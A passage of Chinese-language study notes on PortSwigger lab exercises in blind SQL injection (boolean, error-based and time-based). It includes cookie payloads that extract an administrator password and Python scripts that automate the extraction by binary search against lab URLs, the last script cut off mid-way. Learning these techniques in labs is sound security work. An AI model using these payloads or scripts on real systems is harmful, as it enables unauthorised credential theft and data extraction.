title="通过触发条件响应利用SQL盲注（布尔盲注）"></a>通过触发条件响应利用SQL盲注（布尔盲注）</h3><ul><li><p>假设有一个名为<code>Users</code>的表，其中包含<code>username</code>和<code>password</code>列，以及一个名为<code>Administators</code>的用户。我们可以通过发送一系列输入来确定此用户的密码，以便每次测试密码的一个字符。</p></li><li><p>首先可以输入：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xyz<span class="string">&#x27; AND SUBSTRING((SELECT Password FROM Users WHERE Username = &#x27;</span>Administrator<span class="string">&#x27;), 1, 1) &gt; &#x27;</span>m</span><br></pre></td></tr></table></figure></div></li><li><p>这将返回<code>Welcome back</code>，表明注入的条件为真，因此密码的第一个字符大于<code>m</code>。</p></li><li><p>然后可以输入：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xyz<span class="string">&#x27; AND SUBSTRING((SELECT Password FROM Users WHERE Username = &#x27;</span>Administrator<span class="string">&#x27;), 1, 1) &gt; &#x27;</span>t</span><br></pre></td></tr></table></figure></div></li><li><p>这将不返回<code>Welcome back</code>，表明注入的条件为假，因此密码的第一个字符不大于<code>t</code>。</p></li><li><p>最后输入以下信息，它返回Welcome back，表明密码的第一个字符是s：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xyz<span class="string">&#x27; AND SUBSTRING((SELECT Password FROM Users WHERE Username = &#x27;</span>Administrator<span class="string">&#x27;), 1, 1) = &#x27;</span>s</span><br></pre></td></tr></table></figure></div></li><li><p>通过重复这个过程，可以确定密码的每个字符。</p></li></ul><p>在<strong>Oracle</strong>数据库中，**<code>SUBSTRING</code>函数被称为<code>SUBSTR</code>。**</p><h4 id="🧪实验9：带条件响应的SQL盲注"><a href="#🧪实验9：带条件响应的SQL盲注" class="headerlink" title="🧪实验9：带条件响应的SQL盲注"></a>🧪实验9：带条件响应的SQL盲注</h4><p>确定注入点：在cookie的<code>TrackingId</code>中注入<code>&#39; AND &#39;1&#39;=&#39;1</code>和<code>&#39; AND &#39;1&#39;=&#39;2</code>，发现返回的结果不一样，说明存在注入点</p><p>拼接<code>TrackingId</code>，使用<code>AND</code>条件来判断密码的每一位</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; AND SUBSTRING((SELECT password FROM users WHERE username = &#x27;</span>administrator<span class="string">&#x27;), 1, 1) = &#x27;</span>m</span><br></pre></td></tr></table></figure></div><p>网上的一个脚本：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;https://0a3900f0033fc71e8204153c00fe0043.web-security-academy.net/filter?category=Accessories&quot;</span></span><br><span class="line">password=<span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># cookies = &#123;&quot;TrackingId&quot;: &quot;NEcgTt5umCL1PorI&#x27; AND SUBSTRING((SELECT password FROM users WHERE username = &#x27;administrator&#x27;), 1, 1) &lt; &#x27;m; session=TAMJjOVBIkH0Dxb2XqzQwIFSZ0jWXvFa&quot;&#125;</span></span><br><span class="line">TrackingId_1=<span class="string">&quot;zWJ9CGed6L86Ftfe&#x27; AND SUBSTRING((SELECT password FROM users WHERE username = &#x27;administrator&#x27;), &quot;</span></span><br><span class="line"><span class="comment"># TrackingId_2 position</span></span><br><span class="line">TrackingId_3=<span class="string">&quot;, 1) &quot;</span></span><br><span class="line">TrackingId_4=<span class="string">&quot;&lt;&quot;</span></span><br><span class="line">TrackingId_5=<span class="string">&quot; &#x27;&quot;</span></span><br><span class="line"><span class="comment"># TrackingId_6 chr(mid)</span></span><br><span class="line">TrackingId_7=<span class="string">&quot;; session=BEvE38xApG4RkIMy1pDW4ZsFvn1khJEq&quot;</span></span><br><span class="line"></span><br><span class="line">position = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="comment"># 二分法查找</span></span><br><span class="line">    low = <span class="number">32</span></span><br><span class="line">    high = <span class="number">127</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;position: &quot;</span>,position)</span><br><span class="line">    <span class="keyword">while</span> low &lt; high:</span><br><span class="line"></span><br><span class="line">        mid = (low + high+<span class="number">1</span>) // <span class="number">2</span>   <span class="comment"># 将mid的计算方式调整为(low + high + 1) // 2，可以确保在最后一次循环中不会陷入死循环。</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">chr</span>(mid) == <span class="string">&quot;;&quot;</span>: <span class="comment"># 由于cookie中不能直接使用分号，所以需要转义</span></span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + <span class="string">&quot;\\&quot;</span>+<span class="built_in">chr</span>(mid) + TrackingId_7&#125;</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + <span class="built_in">chr</span>(mid) + TrackingId_7&#125;</span><br><span class="line">        response = requests.get(url, cookies=cookies)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Welcome back!&quot;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">            high = mid -<span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            low = mid</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;position: &quot;</span>,position,<span class="string">&quot;high: &quot;</span>, <span class="built_in">chr</span>(high),<span class="built_in">str</span>(high), <span class="string">&quot;low: &quot;</span>, <span class="built_in">chr</span>(low),<span class="built_in">str</span>(low), <span class="string">&quot;mid: &quot;</span>, <span class="built_in">chr</span>((low + high+<span class="number">1</span>) // <span class="number">2</span>),<span class="built_in">str</span>((low + high+<span class="number">1</span>) // <span class="number">2</span>))</span><br><span class="line">    <span class="keyword">if</span> low == high:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;找到第<span class="subst">&#123;position&#125;</span>个字符,ASCII值：<span class="subst">&#123;low&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">chr</span>(low) == <span class="string">&quot;;&quot;</span>:</span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + <span class="string">&quot;\\&quot;</span>+<span class="built_in">chr</span>(low) + TrackingId_7&#125;</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + <span class="string">&quot;=&quot;</span> + TrackingId_5 + <span class="built_in">chr</span>(low) + TrackingId_7&#125;</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Welcome back!&quot;</span> <span class="keyword">in</span> requests.get(url, cookies=cookies).text:</span><br><span class="line">            password += <span class="built_in">chr</span>(low)</span><br><span class="line">            <span class="built_in">print</span>(password)</span><br><span class="line">            position += <span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(password)</span><br></pre></td></tr></table></figure></div><p>portswigger的测试密码长度：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrackingId<span class="operator">=</span>xyz<span class="string">&#x27; AND (SELECT &#x27;</span>a<span class="string">&#x27; FROM users WHERE username=&#x27;</span>administrator<span class="string">&#x27; AND LENGTH(password)&gt;2)=&#x27;</span>a</span><br></pre></td></tr></table></figure></div><h3 id="基于错误的SQL注入-报错盲注"><a href="#基于错误的SQL注入-报错盲注" class="headerlink" title="基于错误的SQL注入(报错盲注)"></a>基于错误的SQL注入(报错盲注)</h3><ul><li><ul><li><p>假设发送了两个请求，依次包含以下TrackingId cookie值：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">xyz<span class="string">&#x27; AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE &#x27;</span>a<span class="string">&#x27; END)=&#x27;</span>a</span><br><span class="line">xyz<span class="string">&#x27; AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE &#x27;</span>a<span class="string">&#x27; END)=&#x27;</span>a</span><br></pre></td></tr></table></figure></div></li><li><p>这些输入使用CASE关键字来测试条件，并根据表达式是否为true返回不同的表达式：</p><ul><li>对于第一个输入，CASE表达式的计算结果为’a’，这不会导致任何错误。</li><li>对于第二个输入，它的计算结果为1&#x2F;0，这会导致被零除错误。</li></ul></li><li><p>如果错误导致应用程序的HTTP响应不同，则可以使用它来确定注入的条件是否为true。</p></li></ul></li><li><p>使用此技术，您可以通过一次测试一个字符来检索数据：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xyz<span class="string">&#x27; AND (SELECT CASE WHEN (Username = &#x27;</span>Administrator<span class="string">&#x27; AND SUBSTRING(Password, 1, 1) &gt; &#x27;</span>m<span class="string">&#x27;) THEN 1/0 ELSE &#x27;</span>a<span class="string">&#x27; END FROM Users)=&#x27;</span>a</span><br></pre></td></tr></table></figure></div></li></ul><h4 id="🧪实验10：带条件错误的SQL盲注入"><a href="#🧪实验10：带条件错误的SQL盲注入" class="headerlink" title="🧪实验10：带条件错误的SQL盲注入"></a>🧪实验10：带条件错误的SQL盲注入</h4><p>查询一个特殊的表：<code>&#39;||(SELECT &#39;&#39; FROM dual)||&#39;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410312348192.png" alt="image-20241031234846043"></p><p>表明数据库是Oracle。</p><p>验证是否收到错误消息。</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrackingId<span class="operator">=</span>xyz<span class="string">&#x27;||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE &#x27;&#x27; END FROM dual)||&#x27;</span></span><br></pre></td></tr></table></figure></div><p>验证错误是否消失。这表明您可以根据特定条件的真值有条件地触发错误。</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrackingId<span class="operator">=</span>xyz<span class="string">&#x27;||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE &#x27;&#x27; END FROM dual)||&#x27;</span></span><br></pre></td></tr></table></figure></div><p>使用以下查询来检查用户名 <code>administrator</code> 是否存在：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrackingId<span class="operator">=</span>xyz<span class="string">&#x27;||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE &#x27;&#x27; END FROM users WHERE username=&#x27;</span>administrator<span class="string">&#x27;)||&#x27;</span></span><br></pre></td></tr></table></figure></div><p>SUBSTR()函数从密码中提取单个字符</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;||(select case when substr(password,1,1)=&#x27;</span>a<span class="string">&#x27; then to_char(1/0) else&#x27;&#x27; end from users where username=&#x27;</span>administrator<span class="string">&#x27;)||&#x27;</span></span><br></pre></td></tr></table></figure></div><p>网上没有脚本，决定自己改出来一个，同一个靶场，思路很相似：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;https://0ae50075047f8e5d802117e600dd0077.web-security-academy.net/filter?category=Corporate+gifts&quot;</span></span><br><span class="line">password=<span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># cookies = &#123;&quot;TrackingId&quot;: &quot;NEcgTt5umCL1PorI&#x27; AND SUBSTRING((SELECT password FROM users WHERE username = &#x27;administrator&#x27;), 1, 1) &lt; &#x27;m; session=TAMJjOVBIkH0Dxb2XqzQwIFSZ0jWXvFa&quot;&#125;</span></span><br><span class="line">TrackingId_1=<span class="string">&quot;sJ8uCAVUipujY6rB&#x27;||(select case when substr(password, &quot;</span></span><br><span class="line"><span class="comment"># TrackingId_2 position</span></span><br><span class="line">TrackingId_3=<span class="string">&quot;, 1) &quot;</span></span><br><span class="line">TrackingId_4=<span class="string">&quot;&lt;&quot;</span></span><br><span class="line">TrackingId_5=<span class="string">&quot; &#x27;&quot;</span></span><br><span class="line"><span class="comment"># TrackingId_6 chr(mid)</span></span><br><span class="line">TrackingId_7=<span class="string">&quot;&#x27; then to_char(1/0) else&#x27;&#x27; end from users where username=&#x27;administrator&#x27;)||&#x27;; session=U6BVKmeXwCXannuNReL25Y1VhMF2xmSx&quot;</span></span><br><span class="line"></span><br><span class="line">position = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="comment"># 二分法查找</span></span><br><span class="line">    low = <span class="number">32</span></span><br><span class="line">    high = <span class="number">127</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;position: &quot;</span>,position)</span><br><span class="line">    <span class="keyword">while</span> low &lt; high:</span><br><span class="line"></span><br><span class="line">        mid = (low + high+<span class="number">1</span>) // <span class="number">2</span>   <span class="comment"># 将mid的计算方式调整为(low + high + 1) // 2，可以确保在最后一次循环中不会陷入死循环。</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">chr</span>(mid) == <span class="string">&quot;;&quot;</span>: <span class="comment"># 由于cookie中不能直接使用分号，所以需要转义</span></span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + <span class="string">&quot;\\&quot;</span>+<span class="built_in">chr</span>(mid) + TrackingId_7&#125;</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + <span class="built_in">chr</span>(mid) + TrackingId_7&#125;</span><br><span class="line">        response = requests.get(url, cookies=cookies)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Internal Server Error&quot;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">            high = mid -<span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            low = mid</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;position: &quot;</span>,position,<span class="string">&quot;high: &quot;</span>, <span class="built_in">chr</span>(high),<span class="built_in">str</span>(high), <span class="string">&quot;low: &quot;</span>, <span class="built_in">chr</span>(low),<span class="built_in">str</span>(low), <span class="string">&quot;mid: &quot;</span>, <span class="built_in">chr</span>((low + high+<span class="number">1</span>) // <span class="number">2</span>),<span class="built_in">str</span>((low + high+<span class="number">1</span>) // <span class="number">2</span>))</span><br><span class="line">    <span class="keyword">if</span> low == high:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;找到第<span class="subst">&#123;position&#125;</span>个字符,ASCII值：<span class="subst">&#123;low&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">chr</span>(low) == <span class="string">&quot;;&quot;</span>:</span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + TrackingId_4 + TrackingId_5 + <span class="string">&quot;\\&quot;</span>+<span class="built_in">chr</span>(low) + TrackingId_7&#125;</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            cookies = &#123;<span class="string">&quot;TrackingId&quot;</span>: TrackingId_1 + <span class="built_in">str</span>(position) + TrackingId_3 + <span class="string">&quot;=&quot;</span> + TrackingId_5 + <span class="built_in">chr</span>(low) + TrackingId_7&#125;</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Internal Server Error&quot;</span> <span class="keyword">in</span> requests.get(url, cookies=cookies).text:</span><br><span class="line">            password += <span class="built_in">chr</span>(low)</span><br><span class="line">            <span class="built_in">print</span>(password)</span><br><span class="line">            position += <span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span>(password)</span><br></pre></td></tr></table></figure></div><h4 id="通过详细的SQL错误消息提取敏感数据"><a href="#通过详细的SQL错误消息提取敏感数据" class="headerlink" title="通过详细的SQL错误消息提取敏感数据"></a>通过详细的SQL错误消息提取敏感数据</h4><ul><li><p>数据库的错误配置有时会导致详细的错误消息。这些可能会提供对攻击者有用的信息。例如，考虑以下错误消息，它在将单引号注入id参数后出现：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = &#x27;&#x27;&#x27;. Expected char</span><br></pre></td></tr></table></figure></div></li><li><p>这显示了应用程序使用我们的输入构造的完整查询。我们可以看到，在本例中，我们将注入到WHERE语句中的单引号字符串中。这使得构造包含恶意负载的有效查询变得更加容易。注释掉查询的其余部分可以防止多余的单引号破坏语法。</p></li><li><p>有时候，您可能会导致应用程序生成一条错误消息，其中包含查询返回的某些数据。这有效地将一个原本是盲目的SQL注入漏洞变成了一个可见的漏洞。</p></li><li><p>您可以使用CAST()函数来实现这一点。它使您能够将一种数据类型转换为另一种数据类型。例如，假设一个查询包含以下语句：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">CAST((SELECT example_column FROM example_table) AS int)</span><br></pre></td></tr></table></figure></div></li><li><p>通常，你试图读取的数据是一个字符串。尝试将其转换为不兼容的数据类型（如int）可能会导致类似以下的错误：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ERROR: invalid input syntax for type integer: &quot;Example data&quot;</span><br></pre></td></tr></table></figure></div></li><li><p>如果字符限制阻止您触发条件响应，这种类型的查询也可能很有用。</p></li></ul><h4 id="🧪实验11：可视的基于错误的SQL注入"><a href="#🧪实验11：可视的基于错误的SQL注入" class="headerlink" title="🧪实验11：可视的基于错误的SQL注入"></a>🧪实验11：可视的基于错误的SQL注入</h4><p>CAST()是PostgreSQL数据库用于将某种数据类型的表达式显式转换为另一种数据类型的函数。</p><blockquote><p>CAST (expression AS data_type)<br>expression：任何有效的表达式。<br>AS：用于分隔两个参数，在AS之前的是要处理的数据，在AS之后是要转换的数据类型。</p></blockquote><p><code>&#39; and 1=cast((select &#39;aaaaaa&#39;) as int)--</code>，这里报错显示了我们select查询的内容，可以利用</p><p>尝试限制查询一行</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; and 1=cast((select username from users limit 1) as int)--</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--</span></span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/202411010843158.png"></p><h3 id="通过触发时间延迟来利用SQL盲目注入（延时盲注）"><a href="#通过触发时间延迟来利用SQL盲目注入（延时盲注）" class="headerlink" title="通过触发时间延迟来利用SQL盲目注入（延时盲注）"></a>通过触发时间延迟来利用SQL盲目注入（延时盲注）</h3><ul><li><p>如果应用程序在执行SQL查询时捕获数据库错误并妥善处理它们，则应用程序的响应不会有任何差异。这意味着前面的诱导条件错误的技术将不起作用。</p></li><li><p>在这种情况下，通常可以通过根据注入条件为true还是false触发时间延迟来利用SQL盲注入漏洞。由于SQL查询通常由应用程序同步处理，因此延迟SQL查询的执行也会延迟HTTP响应。这允许您根据接收HTTP响应所花费的时间来确定注入条件的真实性。</p></li><li><p>触发时间延迟的技术特定于所使用的数据库类型。例如，在Microsoft SQL Server上，您可以使用以下内容来测试条件并根据表达式是否为true触发延迟：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;; IF (1=2) WAITFOR DELAY &#x27;</span><span class="number">0</span>:<span class="number">0</span>:<span class="number">10</span><span class="string">&#x27;--</span></span><br><span class="line"><span class="string">&#x27;</span>; IF (<span class="number">1</span><span class="operator">=</span><span class="number">1</span>) WAITFOR DELAY <span class="string">&#x27;0:0:10&#x27;</span><span class="comment">--</span></span><br></pre></td></tr></table></figure></div><ul><li>在这种情况下，第一个查询将不会触发延迟，而第二个查询将会触发10秒的延迟。</li></ul></li><li><p>使用这种技术，我们可以通过一次测试一个字符来检索数据：</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;; IF (SELECT COUNT(Username) FROM Users WHERE Username = &#x27;</span>Administrator<span class="string">&#x27; AND SUBSTRING(Password, 1, 1) &gt; &#x27;</span>m<span class="string">&#x27;) = 1 WAITFOR DELAY &#x27;</span><span class="number">0</span>:<span class="number">0</span>:&#123;delay&#125;<span class="string">&#x27;--</span></span><br></pre></td></tr></table></figure></div></li></ul><h5 id="Time-delays"><a href="#Time-delays" class="headerlink" title="Time delays"></a>Time delays</h5><p>在处理查询时，可能会导致数据库出现时间延迟。以下将导致 10 秒的无条件时间延迟。</p><table><thead><tr><th>数据库类型</th><th></th></tr></thead><tbody><tr><td>Microsoft</td><td><code>WAITFOR DELAY &#39;0:0:10&#39;</code></td></tr><tr><td>PostgreSQL</td><td><code>SELECT pg_sleep(10)</code></td></tr><tr><td>MySQL</td><td><code>SELECT SLEEP(10)</code></td></tr><tr><td>Oracle</td><td><code>dbms_pipe.receive_message((&#39;a&#39;),10)</code></td></tr></tbody></table><h4 id="🧪实验12：带时间延迟的SQL盲注入"><a href="#🧪实验12：带时间延迟的SQL盲注入" class="headerlink" title="🧪实验12：带时间延迟的SQL盲注入"></a>🧪实验12：带时间延迟的SQL盲注入</h4><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;||pg_sleep(10) --</span></span><br></pre></td></tr></table></figure></div><h4 id="🧪实验12：带时间延迟的SQL盲注入的信息检索"><a href="#🧪实验12：带时间延迟的SQL盲注入的信息检索" class="headerlink" title="🧪实验12：带时间延迟的SQL盲注入的信息检索"></a>🧪实验12：带时间延迟的SQL盲注入的信息检索</h4><p>判断密码的每个字符</p><div class="highlight-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrackingId<span class="operator">=</span>x<span class="string">&#x27;%3BSELECT+CASE+WHEN+(username=&#x27;</span>administrator<span class="string">&#x27;+AND+SUBSTRING(password,2,1)=&#x27;</span>§a§<span class="string">&#x27;)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;https://0a5a00a303a623ac8025e45500b90053.web-security-academy.net/filter?category=Gifts&quot;</span></span><br><span class="line">password = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Cookie的各部分</span></span><br><span class="line">TrackingId_1 = <span class="string">&quot;SObEFc5xM2dl5vgj&#x27;%3BSELECT+CASE+WHEN+(username=&#x27;administrator&#x27;+AND+SUBSTRING(password,&quot;</span></span><br><span class="line">TrackingId_3 = <span class="string">&quot;,1) &quot;</span></span><br><span class="line">TrackingId_4 = <span class="string">&quot;&lt;&quot;</span></span><br><span class="line">TrackingId_5 = <span class="string">&quot;&#x27;&quot;</span></span><br><span class="line">TrackingId_7 = <span class="string">&quot;&#x27;)+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--; session=gbwVNPL5bdlx3oFhb0tWpMQELJBEtc3S&quot;</span></span><br><span class="line"></span><br><span class="line">position = <span class="number">1</span>  <span 